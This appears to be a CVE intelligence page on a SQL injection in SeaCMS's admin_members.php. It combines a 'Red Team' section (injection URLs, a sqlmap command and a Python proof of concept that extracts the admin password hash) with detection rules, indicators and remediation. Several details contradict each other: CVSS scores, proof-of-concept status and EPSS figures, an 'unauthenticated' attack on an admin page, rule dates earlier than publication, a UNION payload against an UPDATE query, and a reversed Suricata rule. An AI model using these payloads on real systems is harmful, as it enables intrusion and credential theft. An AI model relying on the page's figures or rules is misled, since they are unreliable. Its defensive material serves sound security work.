☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Seacms logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10662

CVE-2025-10662 SQL Injection in Seacms
📅 PUBLISHED: 2025-09-18 10:32 UTC 🔄 UPDATED: 2026-08-18 17:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.38%
👁️
0.38% probability
9.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10662 is a SQL injection vulnerability discovered in SeaCMS up to version 13.3. The flaw resides in the /admin_members.php?ac=editsave endpoint, where the ID argument is not properly sanitized before being used in a database query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is distinct from CVE-2025-25513, which affects a different injection point. Despite a low EPSS score (0.0%), the public availability of exploit details increases the risk for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the SeaCMS PHP application directly.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.7 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

The threat level is medium due to the low complexity and no authentication requirement, but the impact is limited to partial data compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the admin_members.php script. The ID parameter is directly concatenated into a SQL query without proper sanitization or parameterized queries. An attacker can manipulate the ID parameter to break out of the intended SQL syntax and execute arbitrary commands.

For example, a request like:

GET /admin_members.php?ac=editsave&ID=1' OR '1'='1

Could result in the following SQL query:

UPDATE `members` SET ... WHERE `id` = '1' OR '1'='1'

This would update all members' records, demonstrating a potential integrity impact.

The vulnerability is publicly known, with proof-of-concept code available. The lack of a patch from the vendor (SeaCMS) means all versions up to 13.3 are affected.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS <= 13.3):

// admin_members.php
$id = $_GET['ID'];
$sql = "UPDATE `members` SET `username`='$username', `password`='$password' WHERE `id` = '$id'";
$db->query($sql);

Patched Code (Hypothetical):

// admin_members.php
$id = intval($_GET['ID']); // or use prepared statements
$sql = "UPDATE `members` SET `username`='$username', `password`='$password' WHERE `id` = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();

The patched version uses parameterized queries or type casting to prevent injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable SeaCMS instance (version <= 13.3)
  • Network access to the admin panel

Exploit Steps:

  1. Identify the vulnerable endpoint: /admin_members.php?ac=editsave
  2. Craft a malicious ID parameter to extract data. For example, to retrieve the admin password hash:
    GET /admin_members.php?ac=editsave&ID=1' UNION SELECT 1,2,3,4,5,password,7,8 FROM members WHERE username='admin' -- 
    
  3. Use SQL injection tools like sqlmap for automated exploitation:
    sqlmap -u "http://target.com/admin_members.php?ac=editsave&ID=1" --batch --dbs
    

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin_members.php?ac=editsave"
payload = "1' UNION SELECT 1,2,3,4,5,password,7,8 FROM members WHERE username='admin' -- "
params = {'ID': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor for unusual SQL error messages in logs.
  • Look for requests to /admin_members.php with suspicious ID parameters containing SQL keywords (e.g., UNION, SELECT, OR).
  • Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Hunting:

  • Search for HTTP requests with ID parameter containing single quotes (') or SQL comments (--).
  • Analyze database logs for unexpected queries.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /admin_members.php?ac=editsave with ID parameter containing SQL syntax.
    • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:

    • Modified members table entries.
    • Unexpected files in the web root (e.g., webshells).
  • Log IOCs:

    • Web server logs showing requests with ID parameter containing ', OR, UNION, etc.
    • Database logs showing anomalous queries.

Detection Engineering

YARA Rule

rule CVE_2025_10662_SQLi_SeaCMS {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-10662 in SeaCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10662"
    strings:
        $s1 = "admin_members.php?ac=editsave&ID="
        $s2 = "' OR '" ascii nocase
        $s3 = "UNION SELECT" ascii nocase
        $s4 = "1=1" ascii nocase
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-10662 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against SeaCMS admin_members.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'admin_members.php?ac=editsave&ID='
        cs-uri-query|contains|all:
            - "'"
            - 'OR'
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in ID parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10662 SeaCMS SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin_members.php?ac=editsave&ID="; http_uri;
    content:"'"; http_uri;
    content:"OR"; http_uri;
    content:"1=1"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the vulnerable SeaCMS instance from the internet if possible.
  2. Apply input validation and parameterized queries to the ID parameter in admin_members.php.
  3. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Long-term Fix:

  • Upgrade to a patched version of SeaCMS once available.
  • Conduct a full code review for similar injection vulnerabilities.
  • Use prepared statements for all database queries.

Workaround:

  • If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10662/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.